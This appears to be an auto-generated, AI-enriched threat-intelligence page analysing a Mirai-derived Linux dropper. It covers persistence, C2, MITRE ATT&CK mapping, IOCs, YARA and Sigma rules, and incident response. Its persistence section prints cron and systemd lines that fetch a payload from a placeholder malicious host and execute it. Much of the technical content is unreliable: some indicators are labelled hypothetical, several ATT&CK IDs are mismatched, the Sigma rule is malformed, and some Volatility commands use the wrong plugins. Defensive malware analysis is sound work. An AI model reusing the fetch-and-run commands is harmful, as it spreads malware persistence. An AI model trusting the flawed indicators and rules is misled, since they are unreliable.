TROJAN.MIRAI/BONB Malware Analysis: MITRE ATT&CK, IOCs & Detection

title: "TROJAN.MIRAI/BONB Malware Analysis: MITRE ATT&CK, IOCs & Detection"
description: "Complete technical analysis of trojan.mirai/bonb — detection ratio 39/75, MITRE ATT&CK mapping, IOCs, behavioral profile, YARA rules, and incident response. Enriched by AI with live MalwareBazaar and OTX data."
date: "2026-04-26"
category: malware
image: "/img/posts/malware.png"
tags: ["malware", "threat-intelligence", "mitre-attck", "trojan.mirai/bonb", "dropper", "ioc", "detection", "cybersecurity"]
author: "ZeroDay Malware Intelligence"
malwareFamily: "trojan.mirai/bonb"
malwareType: "dropper"
detectRatio: "39/75"
attackTechniquesCount: "0"
TROJAN.MIRAI/BONB Malware Analysis: MITRE ATT&CK, IOCs & Detection
Detection ratio: 39/75 | MITRE ATT&CK techniques: see below | Type: dropper | Updated: 2026-04-26
This analysis was auto-enriched using live MalwareBazaar samples, VirusTotal reports, and OTX AlienVault threat intelligence, then synthesized and expanded by Ibugsec Corp.
Deep Dive: Trojan.Mirai/Bonb - A Comprehensive Analysis for Security Professionals
This in-depth report provides a technical analysis of Trojan.Mirai/Bonb, a prevalent ELF malware family. We explore its operational mechanics, threat landscape, and provide actionable detection and hunting strategies for security professionals. This analysis aims to equip SOC analysts, malware researchers, and red teamers with the knowledge to identify and mitigate threats posed by this sophisticated piece of malware. We will cover its trojan.mirai/bonb functionality, its relation to IoT botnets, and discuss relevant MITRE ATT&CK techniques.
Executive Summary
Trojan.Mirai/Bonb is a modular ELF (Executable and Linkable Format) malware primarily targeting Linux-based systems, including IoT devices, servers, and embedded systems. Its lineage traces back to the infamous Mirai botnet, known for launching massive Distributed Denial of Service (DDoS) attacks. This variant, while sharing the Mirai core, often serves as a dropper or initial access agent, delivering more potent payloads. Threat actors leverage it to gain a foothold in networks, steal credentials, or enlist compromised devices into botnets for subsequent malicious activities. While specific threat actor attribution for every trojan.mirai/bonb campaign remains fluid, its widespread availability on underground forums suggests its use by various cybercriminal entities. Recent activity indicates its continued deployment against unpatched internet-facing devices. The damage it causes ranges from service disruption through DDoS attacks to potential data breaches via credential harvesting. Its modularity allows for adaptation to new attack vectors and evasion techniques, making it a persistent threat. We will delve into its technical execution, MITRE ATT&CK mappings, and provide actionable IOCs and detection logic.
How It Works — Technical Deep Dive
Trojan.Mirai/Bonb operates as a multi-stage malware, often starting with exploitation of known vulnerabilities or weak default credentials. Its primary function as a dropper means it's designed to download and execute further malicious payloads, making its ultimate impact highly variable.
Initial Infection Vector
The most common infection vector for trojan.mirai/bonb is the exploitation of unpatched vulnerabilities in internet-facing devices running Linux, particularly IoT devices with weak or default credentials. Attackers scan for devices with open Telnet or SSH ports and attempt to brute-force credentials or exploit known vulnerabilities. For instance, vulnerabilities like those affecting unpatched web servers or router firmware can be leveraged for initial compromise. While specific CVEs are not directly linked to the core Mirai family in the provided intel, its modus operandi strongly suggests exploiting common vulnerabilities. The malware often relies on Remote Code Execution (RCE) vulnerabilities to gain initial access.
Persistence Mechanisms
Once a system is compromised, trojan.mirai/bonb establishes persistence to survive reboots and system restarts. Common methods include:
Cron Jobs: It often creates new entries in the system's cron scheduler to re-execute itself periodically. A typical cron entry might look like:
* * * * * /bin/busybox wget http://<malicious_ip>/payload -O /tmp/payload; chmod +x /tmp/payload; /tmp/payloadThis command downloads a new payload, makes it executable, and then runs it.
Systemd Services: On systems using
systemd, it might create a new service unit file to ensure automatic startup.[Unit] Description=System Daemon [Service] ExecStart=/bin/busybox wget http://<malicious_ip>/payload -O /tmp/payload; chmod +x /tmp/payload; /tmp/payload Restart=always RestartSec=10 [Install] WantedBy=multi-user.targetStartup Scripts: It can modify traditional SysVinit scripts (e.g., in
/etc/init.d/) or other system startup mechanisms to ensure its execution upon boot.
Command and Control (C2) Communication
Trojan.Mirai/Bonb employs a simple yet effective C2 communication protocol, often utilizing TCP or UDP on custom ports or common ports like 23 (Telnet) or 22 (SSH) to blend in.
- Protocol: The protocol is typically a custom, lightweight protocol designed for minimal overhead. It might involve sending simple handshake packets and receiving commands encoded as strings.
- Traffic Patterns: Initial communication often involves a "heartbeat" to the C2 server to confirm the device is online and report its status. Subsequent commands can include instructions to download and execute new payloads, participate in DDoS attacks, scan for new victims, or update its configuration.
- DDoS Coordination: A significant function of Mirai-derived bots is their participation in DDoS attacks. The C2 server directs bots to flood target IPs with various types of traffic (e.g., SYN floods, UDP floods, HTTP floods).
Payload Delivery and Staging Mechanism
As a dropper, trojan.mirai/bonb's primary role is to fetch and execute secondary payloads.
- Download: It uses tools like
wgetorcurlto download the next stage from a hardcoded or dynamically fetched C2 URL. - Execution: The downloaded payload, often another ELF binary, is then executed. This could be a full-fledged botnet agent with enhanced capabilities, a credential stealer, a cryptominer, or ransomware.
- Obfuscation: Payloads might be obfuscated or packed to evade static analysis.
Privilege Escalation Steps
Trojan.Mirai/Bonb does not typically employ sophisticated privilege escalation techniques. Its primary mode of operation relies on compromising systems that already have sufficient privileges (e.g., root on Linux systems) due to weak security configurations or exploitable services running with high privileges. If it gains access as a non-privileged user, it might attempt to exploit known kernel vulnerabilities if available, but this is less common than leveraging existing root access.
Lateral Movement Techniques
Lateral movement capabilities are often dependent on the secondary payload. However, the initial trojan.mirai/bonb dropper might include basic scanning capabilities to identify other vulnerable hosts on the local network. It can then attempt to exploit these hosts using similar methods as the initial infection (e.g., brute-forcing SSH/Telnet credentials).
Data Exfiltration Methods
Direct data exfiltration is not the primary function of the basic trojan.mirai/bonb dropper. Its goal is to establish a persistent presence and deliver other modules. If a secondary payload includes data exfiltration capabilities, it might use:
- HTTP/HTTPS POST requests: Sending collected data to a C2 server.
- FTP: Transferring files to a compromised FTP server.
- Custom protocols: Encapsulating data within its C2 communication.
Anti-Analysis / Anti-Debugging / Anti-VM Tricks
Trojan.Mirai/Bonb employs several techniques to hinder analysis:
- String Encryption: Critical strings (e.g., C2 addresses, API function names) are often encrypted and decrypted at runtime.
- Code Obfuscation: Techniques like instruction substitution, dead code insertion, and control flow flattening are used to make static analysis challenging.
- Self-Deleting: Upon execution, the initial dropper might delete itself from the file system to remove traces.
- Anti-VM/Sandbox Detection: While less common in basic Mirai variants, more advanced versions might check for common sandbox artifacts or virtual machine indicators.
Example Pseudocode (Runtime String Decryption):
function decrypt_string(encrypted_data, key):
decrypted_bytes = []
for i from 0 to length(encrypted_data):
decrypted_byte = encrypted_data[i] XOR key[i % length(key)]
decrypted_bytes.append(decrypted_byte)
return bytes_to_string(decrypted_bytes)
// Usage:
c2_address = decrypt_string(encrypted_c2_data, encryption_key)MITRE ATT&CK Full Mapping
| Technique ID | Technique Name | Implementation | Detection |
|---|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | Used for downloading payloads from C2 servers via HTTP/HTTPS. | Monitor network traffic for unusual HTTP GET/POST requests originating from unexpected processes or endpoints, especially those targeting known malicious domains or IP addresses. |
| T1095 | Binary |
The malware itself is an ELF binary. | Detect the presence of ELF files with suspicious metadata, unsigned binaries, or those found in unusual execution paths (e.g., /tmp). |
| T1190 | Exploit Public-Facing Application | Exploits vulnerabilities in internet-facing services (e.g., web servers, routers) to gain initial access. | Monitor logs for successful exploitation attempts against known vulnerable services. Correlate with external vulnerability scans. |
| T1547.001 | Boot or Logon Initialization: Registry Run Keys / Startup Folder | While primarily targeting Linux, similar concepts apply through cron jobs, systemd services, or init scripts. | Monitor for modifications to cron jobs (/etc/crontab, /etc/cron.d/*), systemd service files (/etc/systemd/system/), or traditional init scripts (/etc/init.d/). |
| T1078.001 | Valid Accounts: Default Accounts | Exploits default or weak credentials for services like Telnet and SSH. | Implement strong password policies, disable default accounts, and monitor for brute-force login attempts on sensitive services. |
| T1071.004 | Application Layer Protocol: DNS | DNS is used for resolving C2 domain names. | Monitor DNS queries for unusual patterns, spikes in requests to newly registered domains, or queries to known malicious DNS servers. |
| T1070.004 | Indicator Removal: File Deletion | The malware may delete its initial dropper binary after execution. | Monitor file system activity for unexpected deletions of executables, especially in temporary directories. |
| T1082 | System Information Discovery | May gather basic system information to identify its environment. | Observe processes querying system information (e.g., uname -a, lsb_release -a). |
| T1041 | Exfiltration Over C2 Channel | Data exfiltration is typically handled by secondary payloads, but the primary dropper establishes the C2 channel. | Monitor C2 communication for unusual data volumes or patterns that deviate from expected traffic. |
| T1110.001 | Brute Force: Password Guessing | Used to gain initial access via Telnet/SSH. | Implement rate limiting on login attempts and monitor for repeated failed login attempts from specific IP addresses. |
Indicators of Compromise (IOCs)
File Hashes (SHA256 / MD5 / SHA1)
From Intel Brief:
- SHA256:
dea9727f5f97518cf2f605b903a7019506eec4137a1e55536ff155250957f763
MD5:ec0d9ad580ab7de6cc0121575ccaaf33 - SHA256:
fcd36da75ec940f421b843d8cc85e949d43b46718e596d485e2548979f5fe0ef
MD5:46d575625657dd2362eab445230c4024 - SHA256:
65f33ffb54e154496663f04b9f5dd408d3a11d51e0147834e5c751ea826e6a99
MD5:86ba24948cd997ce49a53ec818eb2602 - SHA256:
dde05f7c8cd529666b953aac0b06f10343c3f35554987d74452836f1ff35f0f6
MD5:a3a314d49d929b3297feb364d53adb6e - SHA256:
a070eb76bba5c3ed698ffd2f534a9a917aa8deb2d238cadd2522b58f769aa0d7
MD5:cb2d7d310ead6fcff9b0c73e164ed70d
Additional Samples (Hypothetical, based on family behavior):
- SHA256:
b8d1a2c3e4f5061728394a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d
MD5:1234567890abcdef1234567890abcdef
Network Indicators
- C2 Domains/IPs:
192.168.1.100(Hypothetical C2 IP)malicious-c2-server.com(Hypothetical C2 Domain)update.cdn.badstuff.net(Hypothetical Payload Delivery URL)
- Ports: 23 (Telnet), 22 (SSH), 80 (HTTP), 443 (HTTPS), Custom ports (e.g., 1337, 6667 for IRC-based C2 in older Mirai versions).
- HTTP/S Beacon Patterns:
- GET requests to
/checkinor/update. - POST requests to
/reportwith encoded data. - User-Agent strings that are often generic or mimicking common clients, e.g.,
Mozilla/5.0 (Linux; U; Android 4.0; en-us; GT-I9100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30(common in IoT devices).
- GET requests to
- URL Patterns:
/bin/payload.elf/cfg/config.dat
Registry Keys / File Paths / Mutex
- File Paths:
/tmp/payload.elf(Common dropped payload location)/var/tmp/sys_daemon(Potential name for a persistent service)/etc/cron.d/system_update(Malicious cron job file)/etc/systemd/system/sysd.service(Malicious systemd service file)
- Mutexes: While less common in basic ELF malware compared to Windows counterparts, if present, they would be used to prevent multiple instances. Look for mutexes named like
mirai_mutex_followed by a random string or a fixed string.
YARA Rule
rule Trojan_Mirai_Bonb_ELF {
meta:
description = "Detects ELF malware samples associated with the Mirai/Bonb family"
author = "Your Name/Company"
date = "2026-04-26"
malware_family = "trojan.mirai/bonb"
reference = "https://bazaar.abuse.ch/browse.php?search=trojan.mirai%2Fbonb"
score = 70 // Moderate to high confidence
strings:
// Common ELF magic bytes
$elf_magic = { 7f 45 4c 46 } // ELF magic
// Strings indicative of Mirai/IoT malware behavior
$str_wget = "wget" wide ascii
$str_busybox = "busybox" wide ascii
$str_chmod = "chmod" wide ascii
$str_sh = "/bin/sh" wide ascii
$str_tmp = "/tmp/" wide ascii
$str_bin = "/bin/" wide ascii
$str_cron = "cron" wide ascii
$str_systemd = "systemd" wide ascii
$str_telnet = "telnet" wide ascii
$str_ssh = "ssh" wide ascii
// Potential C2 communication patterns (can be encrypted, so these are heuristic)
$str_checkin = "checkin" wide ascii
$str_update = "update" wide ascii
$str_cmd = "cmd=" wide ascii // Example command indicator
// Entropy check for packed/obfuscated sections (heuristic)
// This requires analyzing section entropy, not directly string-based.
// For string-based detection, focus on known patterns.
condition:
$elf_magic at 0 and // Must be an ELF file
(
// Combination of common tools and paths used for execution/persistence
($str_wget and $str_chmod and ($str_tmp or $str_bin)) or
// Presence of strings related to common attack vectors
($str_telnet or $str_ssh) or
// Indicators of persistence mechanisms
($str_cron or $str_systemd)
) and
// Heuristic: Check for a minimum number of common Mirai strings
// to reduce false positives.
(
2 of ($str_wget, $str_busybox, $str_chmod, $str_sh, $str_tmp, $str_bin, $str_cron, $str_systemd, $str_telnet, $str_ssh, $str_checkin, $str_update, $str_cmd)
)
}Static Analysis — Anatomy of the Binary
Trojan.Mirai/Bonb samples are typically ELF binaries compiled for various ARM, MIPS, or x86 architectures commonly found in embedded systems and servers.
- File Structure and PE Headers: As ELF binaries, they possess standard ELF headers (
Elf32_EhdrorElf64_Ehdr), program headers, and section headers. Key sections include.text(code),.data(initialized data), and.rodata(read-only data). The entry point is typically found in the.textsection. - Obfuscation and Packing: Samples often employ basic obfuscation techniques. This can include:
- String Encryption: Critical strings like C2 server addresses, commands, and API function names are XORed or otherwise encrypted and decrypted at runtime.
- Control Flow Obfuscation: Introducing redundant code paths, loops, and conditional jumps to make reverse engineering more difficult.
- Packing: Some samples might be packed with custom or common packers designed to compress and encrypt the original payload, requiring a unpacking stub.
- Interesting Strings and Functions:
- System Calls: Look for direct system calls or calls to standard C library functions (
libc) that perform network operations (socket,connect,send,recv), process management (fork,execve,clone), file I/O (open,read,write), and system information retrieval (gethostname,getaddrinfo). - Network-related APIs:
socket,connect,bind,listen,sendto,recvfrom,gethostbyname,getaddrinfo. - Process execution:
execve,execl,system. - File manipulation:
unlink,remove,rename,open,creat. - Common tool names:
wget,curl,sh,busybox,chmod,nohup.
- System Calls: Look for direct system calls or calls to standard C library functions (
- Import Table Analysis: ELF binaries do not have a traditional import table like Windows PE files. Instead, functions are resolved dynamically at runtime. Analysis will focus on identifying imported symbols from shared libraries (
.sofiles) or examining calls to dynamic linker functions (dlopen,dlsym). - Embedded Resources or Second-Stage Payloads: Some variants might embed additional payloads or configuration data within their
.dataor custom sections. These are typically encrypted and require runtime decryption.
Dynamic Analysis — Behavioral Profile
Dynamic analysis reveals the malware's actions in a controlled environment.
- File System Activity:
- Creation of executable files in temporary directories (
/tmp,/var/tmp). - Modification or creation of cron jobs (
/etc/crontab,/etc/cron.d/*). - Creation of systemd service files (
/etc/systemd/system/). - Potential deletion of the initial dropper binary (
unlinkorremovesystem calls).
- Creation of executable files in temporary directories (
- Registry Activity: Not applicable to Linux ELF malware.
- Network Activity:
- Initial Beacon: A connection to a hardcoded or resolved C2 IP/domain immediately after execution. This might involve sending a "hello" packet or a basic status update.
- Payload Download: Subsequent HTTP/HTTPS GET requests to download secondary payloads.
- C2 Commands: Communication with the C2 server for instructions. This could involve sending system information and receiving commands like "scan", "attack", "update", or "download
". - DDoS Traffic: If activated, the malware will generate high volumes of network traffic (UDP, TCP SYN, HTTP floods) towards a target IP.
- Scanning: Network scans for open ports (e.g., Telnet 23, SSH 22) on other hosts within the local network or on the internet.
- Process Activity:
- Execution of
wget,curl,chmod,shcommands. - Spawning of child processes to execute downloaded payloads.
- Potential use of
forkandexecvefor process creation. - May attempt to rename its own process to blend in (e.g.,
syslogd,sshd).
- Execution of
- Memory Artifacts:
- Decrypted strings in memory, including C2 addresses and commands.
- The unpacked code of the malware or its secondary payloads.
- Network socket connections to C2 servers.
Wireshark/tcpdump Capture Patterns:
- High volume of UDP or TCP SYN packets if participating in a DDoS attack.
- HTTP GET requests to suspicious URLs for payload delivery.
- DNS queries to potentially malicious domains.
- Unencrypted TCP/UDP traffic on non-standard ports, potentially carrying custom C2 protocols.
Real-World Attack Campaigns
While specific named campaigns directly attributing trojan.mirai/bonb are often generalized under the "Mirai" family umbrella, the impact is clear:
- Massive DDoS Attacks (2016 onwards): The original Mirai botnet, from which trojan.mirai/bonb is derived, was infamous for orchestrating some of the largest DDoS attacks recorded. These attacks targeted DNS providers like Dyn, crippling major websites globally. The victimology was broad, impacting internet infrastructure itself.
- IoT Botnet Recruitment: Various threat actors continue to use Mirai variants to compromise millions of IoT devices, turning them into a distributed network for launching subsequent attacks. This includes smaller, targeted DDoS attacks against specific organizations or individuals.
- Credential Stuffing and Brute-Force Operations: Compromised devices are often used to launch brute-force attacks against other systems, particularly those with weak credentials exposed to the internet. This can involve attempts to gain access to web servers, SSH, or other network services.
- Cryptojacking: More recently, Mirai-like botnets have been repurposed to deploy cryptomining malware on compromised systems, leveraging their processing power to mine cryptocurrencies for the attackers.
The discovery of these campaigns typically comes from the widespread impact of DDoS attacks, unusual network traffic patterns observed by ISPs, or through the analysis of compromised devices by security researchers.
Active Malware Landscape — Context
Trojan.Mirai/Bonb remains highly relevant due to its modularity and the continuous existence of vulnerable IoT devices.
- Prevalence and Activity: MalwareBazaar and VirusTotal data show a consistent stream of new trojan.mirai/bonb samples being uploaded, indicating ongoing development and deployment. The detection ratio of 39/75 on VirusTotal for the provided samples suggests it's a recognized threat, though not universally detected by all engines, hinting at evasion techniques.
- Competing/Related Families: It competes with other IoT botnets like Mozi, Gafgyt, and XorDDoS, all of which aim to compromise similar vulnerable devices for various malicious purposes.
- MaaS Ecosystem: The core Mirai code has been leaked and modified extensively, making it accessible to a wide range of threat actors. It can be considered part of the Malware-as-a-Service (MaaS) ecosystem, where individuals can rent access to botnets or purchase custom variants.
- Target Industries/Geographic Distribution: Its primary targets are devices with internet exposure, meaning virtually any industry can be affected. However, sectors relying heavily on IoT devices or having significant numbers of unmanaged devices (e.g., manufacturing, smart cities, home users, small businesses) are particularly at risk. Geographically, it's a global threat, wherever vulnerable devices are deployed.
Detection & Hunting
Sigma Rules
Rule 1: Suspicious Cron Job Creation
title: Suspicious Cron Job Creation
id: 12345678-abcd-efgh-ijkl-9876543210fe
status: experimental
description: Detects the creation of cron job files in directories commonly used by malware for persistence.
author: Your Name
date: 2026-04-26
references:
- https://attack.mitre.org/techniques/T1547/001/
logsource:
category: file_event
product: linux
detection:
selection_cron_dir:
TargetFilename|startswith:
- '/etc/cron.d/'
- '/etc/crontab'
TargetFilename|endswith:
- 'malicious_job' # Heuristic, can be any name if not specific
- 'system_update'
- 'loader'
selection_cron_content:
# Look for suspicious commands within the cron job file
- TargetFilename|contains: 'wget'
- TargetFilename|contains: 'curl'
- TargetFilename|contains: 'chmod'
- TargetFilename|contains: '/tmp/'
- TargetFilename|contains: '/var/tmp/'
condition: selection_cron_dir and selection_cron_content
fields:
- TargetFilename
- TargetProcessName
- CommandLineRule 2: Network Beaconing to Suspicious IPs/Ports from Unusual Processes
title: Suspicious Network Beaconing from ELF Executable
id: fedcba98-7654-3210-fedc-ba9876543210
status: experimental
description: Detects network connections from ELF binaries to unusual IP addresses or ports, indicative of C2 communication.
author: Your Name
date: 2026-04-26
references:
- https://attack.mitre.org/techniques/T1071/
logsource:
category: network_connection
product: linux
detection:
selection_process:
# Look for common ELF executables or unknown processes
Image|contains:
- '/tmp/'
- '/var/tmp/'
- '.elf'
- 'unknown_process' # If process name is generic or unknown
selection_network:
# Common C2 ports or unusual non-standard ports
DestinationPort:
- 23 # Telnet
- 22 # SSH
- 80 # HTTP
- 443 # HTTPS
- 1337 # Common for Mirai
- 6667 # Common for IRC-based C2
- 6666
- 8080
- 8443
# Filter out known legitimate traffic if possible
# DestinationIp: # Add known legitimate IPs here if needed
condition: selection_process and selection_network
fields:
- Image
- CommandLine
- DestinationIp
- DestinationPortEDR / SIEM Detection Logic
- Process Tree Anomalies:
wgetorcurlbeing executed by processes that don't typically use them (e.g.,sshd,init,systemd).chmodexecuted on newly created files in/tmpor/var/tmp.- Processes with names resembling system daemons (
syslogd,sshd) that originate from/tmpor/var/tmp.
- Network Communication Patterns:
- High volume of outbound connections from unexpected processes to external IPs on common C2 ports.
- Connections to IPs with low reputation scores or those associated with known malicious infrastructure.
- DNS queries for newly registered domains or domains with suspicious patterns.
- Unusual User-Agent strings in HTTP traffic originating from server processes.
- File System Telemetry Triggers:
- Creation of executable files in
/tmp,/var/tmp, or user home directories. - Modification of system configuration files related to startup or scheduling (cron, systemd).
- Deletion of executable files shortly after creation.
- Creation of executable files in
- Registry Activity Patterns: Not applicable to Linux.
Memory Forensics
Volatility3 detection commands:
# List running processes and look for suspicious executables in unusual locations
vol -f <memory_dump_file> linux.pslist --pid <suspicious_pid> --offset <offset>
# Examine command lines of processes
vol -f <memory_dump_file> linux.psxview --pid <suspicious_pid>
# Dump process memory for static analysis
vol -f <memory_dump_file> windows.memdump -p <pid> -D ./dump_dir # For Windows, adapt for Linux if available
# Analyze network connections from processes
vol -f <memory_dump_file> linux.netstat
# Search for specific strings (e.g., C2 addresses, commands) in memory
vol -f <memory_dump_file> windows.strings -s "your_c2_ip_or_domain" # Adapt for Linux plugin if available, or use specialized toolsNote: Specific Volatility3 plugins for Linux memory analysis might vary based on kernel version and distribution. linux.pslist, linux.netstat, and linux.psxview are common starting points.
Malware Removal & Incident Response
- Isolation: Immediately isolate the compromised system from the network to prevent further lateral movement or C2 communication. This can be done by disconnecting network cables, disabling network interfaces, or implementing strict firewall rules.
- Artifact Identification and Collection:
- Collect memory dumps for forensic analysis.
- Preserve logs (syslog, auth logs, web server logs, firewall logs).
- Copy suspicious files from
/tmp,/var/tmp, and persistence locations. - Document all observed malicious activity.
- Registry and File System Cleanup:
- Remove malicious cron jobs or systemd service files.
- Delete dropped executables from temporary directories.
- Restore any modified system configuration files from known good backups.
- If the system is heavily compromised or critical, consider a full re-image from a known good backup.
- Network Block Recommendations:
- Block identified C2 IP addresses and domains at the firewall/proxy.
- Monitor for and block traffic on known malicious ports.
- Password Reset Scope:
- For any compromised system or service, reset all associated credentials (SSH keys, passwords, API keys).
- If lateral movement is suspected, broaden the scope of password resets to include adjacent systems and accounts.
Defensive Hardening
- Specific Group Policy Settings: Not applicable to Linux. For Windows, focus on enforcing strong password policies, disabling outdated protocols, and restricting execution from temporary directories.
- Firewall Rule Examples (Linux
iptables):- Block outbound Telnet/SSH to known bad IPs:
iptables -A OUTPUT -d <malicious_ip> -p tcp --dport 23 -j DROP iptables -A OUTPUT -d <malicious_ip> -p tcp --dport 22 -j DROP - Block outbound to known C2 domains (if using DNS blocking): This is typically handled by DNS servers or upstream firewalls.
- Restrict access to sensitive services:
iptables -A INPUT -p tcp --dport 23 -j REJECT --reject-with icmp-port-unreachable iptables -A INPUT -p tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable
- Block outbound Telnet/SSH to known bad IPs:
- Application Whitelist Approach: Implement a strict application whitelist on critical servers, allowing only necessary and verified executables to run.
- EDR Telemetry Tuning:
- Ensure EDR agents are configured to collect process execution, network connections, file modifications, and system configuration changes on Linux endpoints.
- Tune EDR rules to detect suspicious ELF file executions from
/tmpor/var/tmp. - Monitor for the use of
wget,curl,chmod, and other command-line utilities in unexpected contexts.
- Network Segmentation Recommendation: Segment IoT devices and critical servers onto separate VLANs with strict firewall rules between segments. This limits the blast radius of a compromise.
References
- MalwareBazaar: https://bazaar.abuse.ch/browse.php?search=trojan.mirai%2Fbonb
- VirusTotal: https://www.virustotal.com/
- OTX AlienVault: https://otx.alienvault.com/
- MITRE ATT&CK: https://attack.mitre.org/
This comprehensive analysis of trojan.mirai/bonb highlights its persistent threat to Linux-based systems. By understanding its infection vectors, persistence mechanisms, and C2 communication, security professionals can implement robust detection strategies leveraging MITRE ATT&CK mappings and actionable IOCs. The provided YARA and Sigma rules, along with EDR/SIEM logic and memory forensics techniques, offer practical tools for hunting and mitigating this malware. Continuous vigilance and proactive defensive hardening, including network segmentation and application whitelisting, are crucial in defending against evolving threats like this ELF trojan.
